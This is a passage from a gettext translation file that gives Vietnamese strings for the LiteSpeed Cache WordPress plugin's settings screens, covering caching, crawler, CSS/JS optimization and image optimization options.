msgstr "Không có Nút đám mây khả dụng nào sau khi kiểm tra tải máy chủ."

#: src/lang.cls.php:157
msgid "Localization Files"
msgstr "Tệp bản địa hóa"

#: cli/purge.cls.php:234
msgid "Purged!"
msgstr "Đã dọn dẹp!"

#: tpl/page_optm/settings_localization.tpl.php:130
msgid "Resources listed here will be copied and replaced with local URLs."
msgstr "Các tài nguyên được liệt kê ở đây sẽ được sao chép và thay thế bằng các URL cục bộ."

#: tpl/toolbox/beta_test.tpl.php:60
msgid "Use latest GitHub Master commit"
msgstr "Sử dụng commit GitHub Master mới nhất"

#: tpl/toolbox/beta_test.tpl.php:56
msgid "Use latest GitHub Dev commit"
msgstr "Sử dụng commit GitHub Dev mới nhất"

#: src/crawler-map.cls.php:372
msgid "No valid sitemap parsed for crawler."
msgstr "Không có sơ đồ trang web hợp lệ nào được phân tích cú pháp cho trình thu thập thông tin."

#: src/lang.cls.php:139
msgid "CSS Combine External and Inline"
msgstr "Kết hợp CSS bên ngoài và nội tuyến"

#: tpl/page_optm/settings_css.tpl.php:195
msgid "Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine."
msgstr "Bao gồm CSS bên ngoài và CSS nội tuyến trong tệp kết hợp khi %1$s cũng được bật. Tùy chọn này giúp duy trì các ưu tiên của CSS, mà nên giảm thiểu các lỗi tiềm ẩn bởi CSS Kết hợp gây ra."

#: tpl/page_optm/settings_css.tpl.php:46
msgid "Minify CSS files and inline CSS code."
msgstr "Giảm thiểu các tệp CSS và mã CSS nội tuyến."

#: tpl/cache/settings-excludes.tpl.php:32
#: tpl/page_optm/settings_tuning_css.tpl.php:78
#: tpl/page_optm/settings_tuning_css.tpl.php:153
msgid "Predefined list will also be combined w/ the above settings"
msgstr "Danh sách xác định trước cũng sẽ được kết hợp với các cài đặt trên"

#: tpl/page_optm/entry.tpl.php:22
msgid "Localization"
msgstr "Bản địa hóa"

#: tpl/page_optm/settings_js.tpl.php:66
msgid "Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine."
msgstr "Bao gồm JS bên ngoài và JS nội tuyến trong tệp kết hợp khi %1$s cũng được bật. Tùy chọn này giúp duy trì các ưu tiên của việc thực thi JS, điều này sẽ giảm thiểu các lỗi tiềm ẩn do JS Kết hợp gây ra."

#: tpl/page_optm/settings_js.tpl.php:47
msgid "Combine all local JS files into a single file."
msgstr "Kết hợp tất cả các tệp JS cục bộ thành một tệp duy nhất."

#: tpl/page_optm/settings_tuning.tpl.php:85
msgid "Listed JS files or inline JS code will not be deferred or delayed."
msgstr "Các tệp JS được liệt kê hoặc mã JS nội tuyến sẽ không bị trì hoãn hoặc trì hoãn."

#: src/lang.cls.php:147
msgid "JS Combine External and Inline"
msgstr "JS Kết hợp bên ngoài và nội tuyến"

#: src/admin-display.cls.php:795 tpl/banner/new_version.php:114
#: tpl/banner/score.php:142 tpl/banner/slack.php:49
msgid "Dismiss"
msgstr "Bỏ qua"

#: tpl/cache/settings-esi.tpl.php:101
msgid "The latest data file is"
msgstr "Tệp dữ liệu mới nhất là"

#: tpl/cache/settings-esi.tpl.php:100
msgid "The list will be merged with the predefined nonces in your local data file."
msgstr "Danh sách sẽ được hợp nhất với các mã nonce được xác định trước trong tệp dữ liệu cục bộ của bạn."

#: tpl/page_optm/settings_css.tpl.php:60
msgid "Combine CSS files and inline CSS code."
msgstr "Kết hợp các tệp CSS và mã CSS nội tuyến."

#: tpl/page_optm/settings_js.tpl.php:33
msgid "Minify JS files and inline JS codes."
msgstr "Giảm thiểu các tệp JS và mã JS nội tuyến."

#: src/lang.cls.php:190
msgid "LQIP Excludes"
msgstr "Không có LQIP"

#: tpl/page_optm/settings_media_exc.tpl.php:132
msgid "These images will not generate LQIP."
msgstr "Những hình ảnh này sẽ không tạo LQIP"

#: tpl/toolbox/import_export.tpl.php:70
msgid "Are you sure you want to reset all settings back to the default settings?"
msgstr "Bạn có chắc chắn muốn đặt lại tất cả các cài đặt về cài đặt mặc định không?"

#: tpl/page_optm/settings_html.tpl.php:188
msgid "This option will remove all %s tags from HTML."
msgstr "Tùy chọn này sẽ xóa tất cả các thẻ %s khỏi HTML."

#: tpl/general/online.tpl.php:31
msgid "Are you sure you want to clear all cloud nodes?"
msgstr "Bạn có chắc chắn bạn muốn xóa tất cả cloud nodes?"

#: src/lang.cls.php:174 tpl/presets/standard.tpl.php:52
msgid "Remove Noscript Tags"
msgstr "Gỡ thẻ Noscript"

#: src/error.cls.php:139
msgid "The site is not registered on QUIC.cloud."
msgstr "Trang web không được đăng ký trên QUIC.cloud."

#: src/error.cls.php:74 tpl/crawler/settings.tpl.php:123
#: tpl/crawler/settings.tpl.php:144 tpl/crawler/summary.tpl.php:218
msgid "Click here to set."
msgstr "Nhấn vào đây để thiết lập."

#: src/lang.cls.php:156
msgid "Localize Resources"
msgstr "Bản địa hóa tài nguyên"

#: tpl/cache/settings_inc.browser.tpl.php:26
msgid "Setting Up Custom Headers"
msgstr "Thiết lập tiêu đề tùy chỉnh"

#: tpl/toolbox/purge.tpl.php:92
msgid "This will delete all localized resources"
msgstr "Điều này sẽ xóa tất cả các tài nguyên được bản địa hóa"

#: src/gui.cls.php:628 src/gui.cls.php:810 tpl/toolbox/purge.tpl.php:91
msgid "Localized Resources"
msgstr "Tài nguyên được bản địa hóa"

#: tpl/page_optm/settings_localization.tpl.php:135
msgid "Comments are supported. Start a line with a %s to turn it into a comment line."
msgstr "Nhận xét được hỗ trợ. Bắt đầu một dòng bằng %s để biến nó thành một dòng nhận xét."

#: tpl/page_optm/settings_localization.tpl.php:131
msgid "HTTPS sources only."
msgstr "Chỉ các nguồn HTTPS."

#: tpl/page_optm/settings_localization.tpl.php:104
msgid "Localize external resources."
msgstr "Bản địa hóa các tài nguyên bên ngoài."

#: tpl/page_optm/settings_localization.tpl.php:27
msgid "Localization Settings"
msgstr "Cài đặt bản địa hóa"

#: tpl/page_optm/settings_css.tpl.php:82
msgid "Use QUIC.cloud online service to generate unique CSS."
msgstr "Sử dụng dịch vụ trực tuyến QUIC.cloud để tạo CSS duy nhất."

#: src/lang.cls.php:140
msgid "Generate UCSS"
msgstr "Tạo UCSS"

#: tpl/dash/dashboard.tpl.php:667 tpl/toolbox/purge.tpl.php:82
msgid "Unique CSS"
msgstr "CSS Duy nhất"

#: tpl/toolbox/purge.tpl.php:118
msgid "Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches"
msgstr "Lọc các mục bộ đệm được tạo bởi plugin này ngoại trừ bộ đệm CSS & LQIP quan trọng & CSS duy nhất"

#: tpl/toolbox/report.tpl.php:58
msgid "LiteSpeed Report"
msgstr "Báo cáo LiteSpeed"

#: tpl/img_optm/summary.tpl.php:224
msgid "Image Thumbnail Group Sizes"
msgstr "Kích thước nhóm hình ảnh thu nhỏ"

#. translators: %s: LiteSpeed Web Server version
#: tpl/cache/settings_inc.cache_dropquery.tpl.php:27
msgid "Ignore certain query strings when caching. (LSWS %s required)"
msgstr "Bỏ qua các chuỗi truy vấn nhất định khi caching. (Yêu cầu LSWS %s)"

#: tpl/cache/settings-purge.tpl.php:116
msgid "For URLs with wildcards, there may be a delay in initiating scheduled purge."
msgstr "Đối với các URL có ký tự đại diện, có thể có sự chậm trễ trong việc bắt đầu dọn dẹp theo lịch trình."

#: tpl/cache/settings-purge.tpl.php:92
msgid "By design, this option may serve stale content. Do not enable this option, if that is not OK with you."
msgstr "Theo thiết kế, tùy chọn này có thể phục vụ nội dung cũ. Không kích hoạt tùy chọn này, nếu điều đó không ổn với bạn."

#: src/lang.cls.php:127
msgid "Serve Stale"
msgstr "Phục vụ cũ"

#: src/img-optm.cls.php:1165
msgid "One or more pulled images does not match with the notified image md5"
msgstr "Một hoặc nhiều hình ảnh được kéo không khớp với md5 hình ảnh được thông báo"

#: src/img-optm.cls.php:1086
msgid "Some optimized image file(s) has expired and was cleared."
msgstr "Một số tệp hình ảnh được tối ưu hóa đã hết hạn và bị xóa."

#: src/error.cls.php:108
msgid "You have too many requested images, please try again in a few minutes."
msgstr "Bạn có quá nhiều hình ảnh được yêu cầu, vui lòng thử lại sau vài phút."

#: src/img-optm.cls.php:1101
msgid "Pulled WebP image md5 does not match the notified WebP image md5."
msgstr "Hình ảnh WebP md5 được kéo không khớp với hình ảnh WebP md5 được thông báo."

#: src/img-optm.cls.php:1130
msgid "Pulled AVIF image md5 does not match the notified AVIF image md5."
msgstr "Mã MD5 của ảnh AVIF được kéo không khớp với mã MD5 của ảnh AVIF được thông báo."

#: tpl/inc/admin_footer.php:19
msgid "Read LiteSpeed Documentation"
msgstr "Đọc tài liệu LiteSpeed"

#: src/error.cls.php:129
msgid "There is proceeding queue not pulled yet. Queue info: %s."
msgstr "Có hàng đợi đang tiến hành chưa được kéo. Thông tin hàng đợi: %s."

#: tpl/page_optm/settings_localization.tpl.php:89
msgid "Specify how long, in seconds, Gravatar files are cached."
msgstr "Chỉ định thời gian, tính bằng giây, các tệp Gravatar được lưu trong bộ nhớ cache."

#: src/img-optm.cls.php:618
msgid "Cleared %1$s invalid images."
msgstr "Đã xóa %1$s ảnh không hợp lệ."

#: tpl/general/entry.tpl.php:31
msgid "LiteSpeed Cache General Settings"
msgstr "Cài đặt chung LiteSpeed Cache"

#: tpl/toolbox/purge.tpl.php:110
msgid "This will delete all cached Gravatar files"
msgstr "Điều này sẽ xóa tất cả các tệp Gravatar được lưu trữ"

#: tpl/toolbox/settings-debug.tpl.php:174
msgid "Prevent any debug log of listed pages."
msgstr "Ngăn chặn bất kỳ nhật ký gỡ lỗi của các trang được liệt kê."

#: tpl/toolbox/settings-debug.tpl.php:160
msgid "Only log listed pages."
msgstr "Chỉ ghi nhật ký các trang được liệt kê."

#: tpl/toolbox/settings-debug.tpl.php:132
msgid "Specify the maximum size of the log file."
msgstr "Chỉ định kích thước tối đa của tệp nhật ký."

#: tpl/toolbox/settings-debug.tpl.php:83
msgid "To prevent filling up the disk, this setting should be OFF when everything is working."
msgstr "Để tránh làm đầy dung lượng, cài đặt này sẽ TẮT khi mọi thứ đang hoạt động."

#: tpl/toolbox/beta_test.tpl.php:80
msgid "Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory."
msgstr "Nhấn nút %s để dừng thử nghiệm beta và quay lại bản phát hành hiện tại từ thư mục Plugin của WordPress."

#: tpl/toolbox/beta_test.tpl.php:64 tpl/toolbox/beta_test.tpl.php:80
msgid "Use latest WordPress release version"
msgstr "Sử dụng phiên bản WordPress mới nhất"

#: tpl/toolbox/beta_test.tpl.php:64
msgid "OR"
msgstr "HOẶC"

#: tpl/toolbox/beta_test.tpl.php:47
msgid "Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below."
msgstr "Sử dụng phần này để chuyển đổi phiên bản plugin. Để thử nghiệm bản GitHub commit, hãy nhập URL commit vào khung bên dưới."

#: tpl/toolbox/import_export.tpl.php:71
msgid "Reset Settings"
msgstr "Khôi phục cài đặt"

#: tpl/toolbox/entry.tpl.php:41
msgid "LiteSpeed Cache Toolbox"
msgstr "Công cụ LiteSpeed Cache"

#: tpl/toolbox/entry.tpl.php:35
msgid "Beta Test"
msgstr "Bản thử nghiệm"

#: tpl/toolbox/entry.tpl.php:34
msgid "Log View"
msgstr "Xem nhật ký"

#: tpl/toolbox/entry.tpl.php:33 tpl/toolbox/settings-debug.tpl.php:55
msgid "Debug Settings"
msgstr "Cài đặt gỡ lỗi"

#: tpl/toolbox/heartbeat.tpl.php:103
msgid "Turn ON to control heartbeat in backend editor."
msgstr "BẬT để kiểm soát Heartbeat trong trình chỉnh sửa giao diện quản trị."

#: tpl/toolbox/heartbeat.tpl.php:73
msgid "Turn ON to control heartbeat on backend."
msgstr "BẬT để kiểm soát Heartbeat trên giao diện quản trị."

#: tpl/toolbox/heartbeat.tpl.php:58 tpl/toolbox/heartbeat.tpl.php:88
#: tpl/toolbox/heartbeat.tpl.php:118
msgid "Set to %1$s to forbid heartbeat on %2$s."
msgstr "Đặt thành %1$s để ngăn Heartbeat trên %2$s."

#: tpl/toolbox/heartbeat.tpl.php:57 tpl/toolbox/heartbeat.tpl.php:87
#: tpl/toolbox/heartbeat.tpl.php:117
msgid "WordPress valid interval is %s seconds."
msgstr "Khoảng thời gian hợp lệ của WordPress là %s giây."

#: tpl/toolbox/heartbeat.tpl.php:56 tpl/toolbox/heartbeat.tpl.php:86
#: tpl/toolbox/heartbeat.tpl.php:116
msgid "Specify the %s heartbeat interval in seconds."
msgstr "Chỉ định khoảng thời gian Heartbeat %s tính bằng giây."

#: tpl/toolbox/heartbeat.tpl.php:43
msgid "Turn ON to control heartbeat on frontend."
msgstr "BẬT để kiểm soát Heartbeat trên giao diện người dùng."

#: tpl/toolbox/heartbeat.tpl.php:26
msgid "Disable WordPress interval heartbeat to reduce server load."
msgstr "Vô hiệu hóa Heartbeat WordPress để giảm tải máy chủ."

#: tpl/toolbox/heartbeat.tpl.php:19
msgid "Heartbeat Control"
msgstr "Điều khiển Heartbeat"

#: tpl/toolbox/report.tpl.php:127
msgid "provide more information here to assist the LiteSpeed team with debugging."
msgstr "cung cấp thêm thông tin ở đây để hỗ trợ nhóm LiteSpeed gỡ lỗi."

#: tpl/toolbox/report.tpl.php:126
msgid "Optional"
msgstr "Tùy chọn"

#: tpl/toolbox/report.tpl.php:100 tpl/toolbox/report.tpl.php:102
msgid "Generate Link for Current User"
msgstr "Tạo liên kết cho người dùng hiện tại"

#: tpl/toolbox/report.tpl.php:96
msgid "Passwordless Link"
msgstr "Liên kết Passwordless"

#: tpl/toolbox/report.tpl.php:75
msgid "System Information"
msgstr "Thông tin hệ thống"

#: tpl/toolbox/report.tpl.php:52
msgid "Go to plugins list"
msgstr "Chuyển đến danh sách plugin"

#: tpl/toolbox/report.tpl.php:51
msgid "Install DoLogin Security"
msgstr "Cài đặt DoLogin Security"

#: tpl/general/settings.tpl.php:102
msgid "Check my public IP from"
msgstr "Kiểm tra IP công khai của tôi từ"

#: tpl/general/settings.tpl.php:102
msgid "Your server IP"
msgstr "IP máy chủ của bạn"

#: tpl/general/settings.tpl.php:101
msgid "Enter this site's IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups."
msgstr "Nhập địa chỉ IP của trang này để cho phép các dịch vụ đám mây gọi trực tiếp IP thay vì tên miền. Điều này giúp loại bỏ thời gian tìm kiếm DNS và CDN."

#: tpl/crawler/settings.tpl.php:31
msgid "This will enable crawler cron."
msgstr "Điều này sẽ cho phép cron thu thập thông tin."

#: tpl/crawler/settings.tpl.php:17
msgid "Crawler General Settings"
msgstr "Cài đặt chung trình thu thập thông tin"

#: tpl/crawler/blacklist.tpl.php:54
msgid "Remove from Blocklist"
msgstr "Gỡ khỏi danh sách đen"

#: tpl/crawler/blacklist.tpl.php:23
msgid "Empty blocklist"
msgstr "Danh sách chặn trống"

#: tpl/crawler/blacklist.tpl.php:22
msgid "Are you sure to delete all existing blocklist items?"
msgstr "Bạn có chắc chắn muốn xóa tất cả các mục hiện có trong danh sách chặn không?"

#: tpl/crawler/blacklist.tpl.php:88 tpl/crawler/map.tpl.php:103
msgid "Blocklisted due to not cacheable"
msgstr "Bị liệt vào danh sách chặn do không thể lưu vào bộ nhớ đệm"

#: tpl/crawler/map.tpl.php:89
msgid "Add to Blocklist"
msgstr "Thêm vào danh sách chặn"

#: tpl/crawler/blacklist.tpl.php:43 tpl/crawler/map.tpl.php:78
msgid "Operation"
msgstr "Hoạt động"

#: tpl/crawler/map.tpl.php:52
msgid "Sitemap Total"
msgstr "Tổng số sơ đồ trang web"

#: tpl/crawler/map.tpl.php:48
msgid "Sitemap List"
msgstr "Danh sách sơ đồ trang web"

#: tpl/crawler/map.tpl.php:32
msgid "Refresh Crawler Map"
msgstr "Làm mới sơ đồ trang trình thu thập thông tin"

#: tpl/crawler/map.tpl.php:29
msgid "Clean Crawler Map"
msgstr "Dọn dẹp sơ đồ trang trình thu thập thông tin"

#: tpl/crawler/blacklist.tpl.php:28 tpl/crawler/entry.tpl.php:16
msgid "Blocklist"
msgstr "Danh sách chặn"

#: tpl/crawler/entry.tpl.php:15
msgid "Map"
msgstr "Sơ đồ trang"

#: tpl/crawler/entry.tpl.php:14
msgid "Summary"
msgstr "Tóm tắt"

#: tpl/crawler/map.tpl.php:63 tpl/crawler/map.tpl.php:102
msgid "Cache Miss"
msgstr "Cache Miss"

#: tpl/crawler/map.tpl.php:62 tpl/crawler/map.tpl.php:101
msgid "Cache Hit"
msgstr "Cache Hit"

#: tpl/crawler/summary.tpl.php:244
msgid "Waiting to be Crawled"
msgstr "Đang đợi để được thu thập thông tin"

#: tpl/crawler/blacklist.tpl.php:89 tpl/crawler/map.tpl.php:64
#: tpl/crawler/map.tpl.php:104 tpl/crawler/summary.tpl.php:199
#: tpl/crawler/summary.tpl.php:247
msgid "Blocklisted"
msgstr "Danh sách đã chặn"

#: tpl/crawler/summary.tpl.php:194
msgid "Miss"
msgstr "Miss"

#: tpl/crawler/summary.tpl.php:189
msgid "Hit"
msgstr "Hit"

#: tpl/crawler/summary.tpl.php:184
msgid "Waiting"
msgstr "Đang chờ"

#: tpl/crawler/summary.tpl.php:155
msgid "Running"
msgstr "Đang chạy"

#: tpl/crawler/settings.tpl.php:177
msgid "Use %1$s in %2$s to indicate this cookie has not been set."
msgstr "Sử dụng %1$s trong %2$s để cho biết cookie này chưa được đặt."

#: src/admin-display.cls.php:449
msgid "Add new cookie to simulate"
msgstr "Thêm cookie mới để mô phỏng"

#: src/admin-display.cls.php:448
msgid "Remove cookie simulation"
msgstr "Xóa cookie mô phỏng"

#. translators: %s: Current mobile agents in htaccess
#: tpl/cache/settings_inc.cache_mobile.tpl.php:51
msgid "Htaccess rule is: %s"
msgstr "Quy tắc Htaccess là: %s"

#. translators: %s: LiteSpeed Cache menu label
#: tpl/cache/more_settings_tip.tpl.php:27
msgid "More settings available under %s menu"
msgstr "Nhiều càu đặt khác có sẵn trong menu %s"

#: tpl/cache/settings_inc.browser.tpl.php:63
msgid "The amount of time, in seconds, that files will be stored in browser cache before expiring."
msgstr "Lượng thời gian, tính bằng giây, các tệp đó sẽ được lưu trữ trong bộ nhớ cache của trình duyệt trước khi hết hạn."

#: tpl/cache/settings_inc.browser.tpl.php:25
msgid "OpenLiteSpeed users please check this"
msgstr "Người dùng OpenLiteSpeed vui lòng kiểm tra điều này"

#: tpl/cache/settings_inc.browser.tpl.php:17
msgid "Browser Cache Settings"
msgstr "Cài đặt bộ nhớ đệm của trình duyệt"

#: tpl/cache/settings-cache.tpl.php:158
msgid "Paths containing these strings will be forced to public cached regardless of no-cacheable settings."
msgstr "Các đường dẫn chứa các chuỗi này sẽ bị buộc phải lưu vào bộ nhớ đệm công khai bất kể cài đặt không có bộ nhớ đệm."

#: tpl/cache/settings-cache.tpl.php:49
msgid "With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server."
msgstr "Với QUIC.cloud CDN được bật, bạn vẫn có thể nhìn thấy các tiêu đề bộ nhớ đệm từ máy chủ cục bộ của mình."

#: tpl/cache/settings-esi.tpl.php:110
msgid "An optional second parameter may be used to specify cache control. Use a space to separate"
msgstr "Một tham số tùy chọn thứ hai có thể được sử dụng để chỉ định việc kiểm soát bộ nhớ đệm. Sử dụng một khoảng trắng (space) để phân tách"

#: tpl/cache/settings-esi.tpl.php:108
msgid "The above nonces will be converted to ESI automatically."
msgstr "Các nonces trên sẽ được chuyển đổi thành ESI tự động."

#: tpl/cache/entry.tpl.php:21 tpl/cache/entry.tpl.php:75
msgid "Browser"
msgstr "Trình duyệt"

#: tpl/cache/entry.tpl.php:20 tpl/cache/entry.tpl.php:74
msgid "Object"
msgstr "Đối tượng"

#. translators: %1$s: Object cache name, %2$s: Port number
#: tpl/cache/settings_inc.object.tpl.php:128
#: tpl/cache/settings_inc.object.tpl.php:137
msgid "Default port for %1$s is %2$s."
msgstr "Cổng mặc định cho %1$s là %2$s."

#: tpl/cache/settings_inc.object.tpl.php:33
msgid "Object Cache Settings"
msgstr "Cài đặt bộ nhớ đệm đối tượng"

#: tpl/cache/settings-ttl.tpl.php:111
msgid "Specify an HTTP status code and the number of seconds to cache that page, separated by a space."
msgstr "Chỉ định mã trạng thái HTTP và số giây để lưu trang đó, cách nhau bởi khoảng trắng."

#: tpl/cache/settings-ttl.tpl.php:59
msgid "Specify how long, in seconds, the front page is cached."
msgstr "Chỉ định thời gian, tính bằng giây, trang trước được lưu trữ."

#: tpl/cache/entry.tpl.php:67 tpl/cache/settings-ttl.tpl.php:15
msgid "TTL"
msgstr "TTL"

#: tpl/cache/settings-purge.tpl.php:86
msgid "If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait."
msgstr "Nếu BẬT, bản sao cũ của trang được lưu trong bộ nhớ cache sẽ được hiển thị cho khách truy cập cho đến khi có bản sao bộ nhớ cache mới. Giảm tải máy chủ cho các lần truy cập tiếp theo. Nếu TẮT, trang sẽ được tạo động trong khi khách truy cập chờ."

#: tpl/page_optm/settings_css.tpl.php:341
msgid "Swap"
msgstr "Swap"

#: tpl/page_optm/settings_css.tpl.php:340
msgid "Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded."
msgstr "Đặt tùy chọn này để nối %1$s vào tất cả các quy tắc %2$s trước khi lưu vào bộ nhớ đệm CSS để chỉ định cách hiển thị phông chữ trong khi tải xuống."

#: tpl/page_optm/settings_localization.tpl.php:67
msgid "Avatar list in queue waiting for update"
msgstr "Danh sách Avatar trong hàng đợi đang chờ để cập nhật"

#: tpl/page_optm/settings_localization.tpl.php:54
msgid "Refresh Gravatar cache by cron."
msgstr "Làm mới bộ nhớ đệm Gravatar bằng cron."

#: tpl/page_optm/settings_localization.tpl.php:41
msgid "Accelerates the speed by caching Gravatar (Globally Recognized Avatars)."
msgstr "Tăng tốc độ bằng cách lưu trữ Gravatar (Globally Recognized Avatars)."

#: tpl/page_optm/settings_localization.tpl.php:40
msgid "Store Gravatar locally."
msgstr "Lưu trữ Gravatar trên hosting."

#: tpl/page_optm/settings_localization.tpl.php:22
msgid "Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup."
msgstr "Không thể tạo bảng Avatar. Vui lòng làm theo <a %s>Hướng dẫn tạo bảng từ LiteSpeed Wiki</a> để hoàn tất thiết lập."

#: tpl/page_optm/settings_media.tpl.php:156
msgid "LQIP requests will not be sent for images where both width and height are smaller than these dimensions."
msgstr "Yêu cầu LQIP sẽ không được gửi nếu ảnh trong đó có chiều rộng và chiều cao đều nhỏ hơn các kích thước này."

#: tpl/page_optm/settings_media.tpl.php:154
msgid "pixels"
msgstr "pixels"

#: tpl/page_optm/settings_media.tpl.php:138
msgid "Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points."
msgstr "Số lớn hơn sẽ tạo trình giữ chỗ có chất lượng độ phân giải cao hơn, nhưng sẽ dẫn đến các tệp lớn hơn, điều này sẽ làm tăng kích thước trang và tiêu tốn nhiều điểm hơn."

#: tpl/page_optm/settings_media.tpl.php:137
msgid "Specify the quality when generating LQIP."
msgstr "Chỉ định chất lượng khi tạo LQIP."

#: tpl/page_optm/settings_media.tpl.php:123
msgid "Keep this off to use plain color placeholders."
msgstr "Tắt tùy chọn này để sử dụng trình giữ chỗ màu trơn."

#: tpl/page_optm/settings_media.tpl.php:122
msgid "Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading."
msgstr "Sử dụng dịch vụ QUIC.cloud LQIP (Low Quality Image Placeholder) để tạo bản xem trước ảnh trong khi ảnh đó tải."

#: tpl/page_optm/settings_media.tpl.php:107
msgid "Specify the responsive placeholder SVG color."
msgstr "Chỉ định màu SVG của trình giữ chỗ phản hồi."

#: tpl/page_optm/settings_media.tpl.php:93
msgid "Variables %s will be replaced with the configured background color."
msgstr "Các biến %s sẽ được thay thế bằng màu nền đã định cấu hình."

#: tpl/page_optm/settings_media.tpl.php:92
msgid "Variables %s will be replaced with the corresponding image properties."
msgstr "Các biến %s sẽ được thay thế bằng các thuộc tính hình ảnh tương ứng."

#: tpl/page_optm/settings_media.tpl.php:91
msgid "It will be converted to a base64 SVG placeholder on-the-fly."
msgstr "Nó sẽ được chuyển đổi thành trình giữ chỗ SVG base64 một cách nhanh chóng."

#: tpl/page_optm/settings_media.tpl.php:90
msgid "Specify an SVG to be used as a placeholder when generating locally."
msgstr "Chỉ định SVG để sử dụng làm trình giữ chỗ khi tạo cục bộ."

#: tpl/page_optm/settings_media_exc.tpl.php:118
msgid "Prevent any lazy load of listed pages."
msgstr "Ngăn chặn bất kỳ tải chậm của các trang được liệt kê."

#: tpl/page_optm/settings_media_exc.tpl.php:104
msgid "Iframes having these parent class names will not be lazy loaded."
msgstr "Iframes có tên lớp cha này sẽ không được tải chậm."

#: tpl/page_optm/settings_media_exc.tpl.php:89
msgid "Iframes containing these class names will not be lazy loaded."
msgstr "Các iframe chứa các tên lớp này sẽ không được tải chậm."

#: tpl/page_optm/settings_media_exc.tpl.php:75
msgid "Images having these parent class names will not be lazy loaded."
msgstr "Hình ảnh có tên lớp cha này sẽ không được tải chậm."

#: tpl/page_optm/entry.tpl.php:31
msgid "LiteSpeed Cache Page Optimization"
msgstr "Tối ưu hóa trang LiteSpeed Cache"

#: tpl/page_optm/entry.tpl.php:21 tpl/page_optm/settings_media_exc.tpl.php:17
msgid "Media Excludes"
msgstr "Loại trừ Media"

#: tpl/page_optm/entry.tpl.php:16 tpl/page_optm/settings_css.tpl.php:31
msgid "CSS Settings"
msgstr "Cài đặt CSS"

#: tpl/page_optm/settings_css.tpl.php:341
msgid "%s is recommended."
msgstr "%s được khuyến nghị."

#: tpl/page_optm/settings_js.tpl.php:77
msgid "Deferred"
msgstr "Hoãn lại"

#: tpl/page_optm/settings_css.tpl.php:338
msgid "Default"
msgstr "Mặc định"

#: tpl/page_optm/settings_html.tpl.php:61
msgid "This can improve the page loading speed."
msgstr "Điều này có thể cải thiện tốc độ tải trang."

#: tpl/page_optm/settings_html.tpl.php:60
msgid "Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth."
msgstr "Tự động bật tính năng tìm nạp trước DNS cho tất cả các URL trong tài liệu, bao gồm hình ảnh, CSS, JavaScript, v.v."

#: tpl/banner/new_version_dev.tpl.php:30
msgid "New developer version %s is available now."
msgstr "Phiên bản nhà phát triển mới %s hiện có sẵn"

#: tpl/banner/new_version_dev.tpl.php:22
msgid "New Developer Version Available!"
msgstr "Đã có phiên bản dành cho nhà phát triển mới!"

#: tpl/banner/cloud_news.tpl.php:51 tpl/banner/cloud_promo.tpl.php:73
msgid "Dismiss this notice"
msgstr "Loại bỏ thông báo này"

#: tpl/banner/cloud_promo.tpl.php:61
msgid "Tweet this"
msgstr "Tweet điều này"

#: tpl/banner/cloud_promo.tpl.php:45
msgid "Tweet preview"
msgstr "Xem trước Tweet"

#: tpl/banner/cloud_promo.tpl.php:40
#: tpl/page_optm/settings_tuning_css.tpl.php:69
#: tpl/page_optm/settings_tuning_css.tpl.php:144
msgid "Learn more"
msgstr "Tìm hiểu thêm"

#: tpl/banner/cloud_promo.tpl.php:22
msgid "You just unlocked a promotion from QUIC.cloud!"
msgstr "Bạn vừa mở khóa một chương trình khuyến mãi từ QUIC.cloud!"

#: tpl/page_optm/settings_media.tpl.php:274
msgid "The image compression quality setting of WordPress out of 100."
msgstr "Cài đặt chất lượng nén hình ảnh của WordPress trên 100."

#: tpl/img_optm/entry.tpl.php:17 tpl/img_optm/entry.tpl.php:22
#: tpl/img_optm/network_settings.tpl.php:19 tpl/img_optm/settings.tpl.php:19
msgid "Image Optimization Settings"
msgstr "Cài đặt tối ưu hóa hình ảnh"

#: tpl/img_optm/summary.tpl.php:377
msgid "Are you sure to destroy all optimized images?"
msgstr "Bạn có chắc chắn hủy tất cả các hình ảnh được tối ưu hóa không?"

#: tpl/img_optm/summary.tpl.php:360
msgid "Use Optimized Files"
msgstr "Sử dụng tệp được tối ưu hóa"

#: tpl/img_optm/summary.tpl.php:359
msgid "Switch back to using optimized images on your site"
msgstr "Quay lại sử dụng hình ảnh được tối ưu hóa trên trang web của bạn"

#: tpl/img_optm/summary.tpl.php:356
msgid "Use Original Files"
msgstr "Sử dụng tệp gốc"

#: tpl/img_optm/summary.tpl.php:355
msgid "Use original images (unoptimized) on your site"
msgstr "Sử dụng hình ảnh gốc (chưa được tối ưu hóa) trên trang web của bạn"

#: tpl/img_optm/summary.tpl.php:350
msgid "You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available."
msgstr "Bạn có thể nhanh chóng chuyển đổi giữa việc sử dụng các tệp hình ảnh gốc (phiên bản chưa được tối ưu hóa) và được tối ưu hóa. Nó sẽ ảnh hưởng đến tất cả các hình ảnh trên trang web của bạn, cả phiên bản thông thường và webp nếu có."

#: tpl/img_optm/summary.tpl.php:347
msgid "Optimization Tools"
msgstr "Công cụ tối ưu hóa"

#: tpl/img_optm/summary.tpl.php:305
msgid "Rescan New Thumbnails"
msgstr "Quét lại hình thu nhỏ mới"

#: tpl/img_optm/summary.tpl.php:289
msgid "Congratulations, all gathered!"
msgstr "Xin chúc mừng, tất cả đã tập hợp!"

#: tpl/img_optm/summary.tpl.php:293
msgid "What is an image group?"
msgstr "Nhóm hình ảnh là gì?"

#: tpl/img_optm/summary.tpl.php:241
msgid "Delete all backups of the original images"
msgstr "Xóa tất cả các bản sao lưu của hình ảnh gốc"

#: tpl/img_optm/summary.tpl.php:217
